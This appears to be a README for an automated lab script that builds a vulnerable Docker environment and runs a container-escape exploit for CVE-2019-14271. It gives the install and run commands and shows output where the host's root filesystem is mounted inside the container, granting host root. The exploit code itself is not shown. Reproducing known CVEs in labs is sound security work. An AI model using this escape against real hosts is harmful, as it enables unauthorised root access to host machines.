
A convenient and time-saving auto script of building environment and exploit it.
A convenient and time-saving auto script of building environment and exploit it.
https://github.com/Metarget/metarget
https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-14271
https://github.com/thomasyang1207/Exploits/tree/master/CVE_2019_14271
chmod 777 Exploit.sh
chmod 777 Install_env.sh
sudo ./Install_env.sh
sudo ./Exploit.sh
If the image has been built, run
Exploit.shonly for reuse.
Now you have entered the container cve-14271 and see:
root@d9b5a334a0e9:/# ls
bin breakout home lib32 logs opt run sys var
boot dev host_fs lib64 media proc sbin tmp
break_logs etc lib libx32 mnt root srv usr
Enter host_fs and you will find the host's root directory has been mounted here and you escape successfully. You can act as a root user in the host machine.